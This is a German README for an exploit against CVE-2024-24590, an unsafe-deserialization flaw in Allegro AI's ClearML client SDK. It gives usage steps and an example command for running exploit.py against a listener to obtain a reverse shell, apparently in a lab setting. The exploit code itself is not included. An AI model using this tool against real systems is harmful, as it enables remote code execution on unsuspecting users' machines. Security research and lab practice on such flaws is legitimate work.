CVE-2024-24590

In Versionen 0.17.0 bis 1.14.2 des Client-SDK der ClearML-Plattform von Allegro AI kann eine Deserialisierung nicht vertrauenswürdiger Daten auftreten, wodurch ein bösartig hochgeladenes Artefakt bei Interaktion beliebigen Code auf dem System eines Endbenutzers ausführen kann.

Verwendung

1. füge die angegebenen Anmeldedaten ein und führe clearml-init aus
2. führe das Python-Skript exploit.py in einem Terminal aus und starte einen Listener in einem anderen Terminal
3. möglicherweise muss das Exploit mehrfach ausgeführt werden, um eine Reverse Shell zu erhalten

usage: exploit.py [-h] -i IP -p PORT -P PROJECT

options:
  -h, --help  show this help message and exit
  -i IP       IP address of the listener
  -p PORT     Port number of the listener
  -P PROJECT  Name of the existing project

example: python exploit.py -i 10.10.14.60 -p 4444 -P 'Black Swan'

Exploit-Details

1. https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/
2. https://www.cvedetails.com/cve/CVE-2024-24590/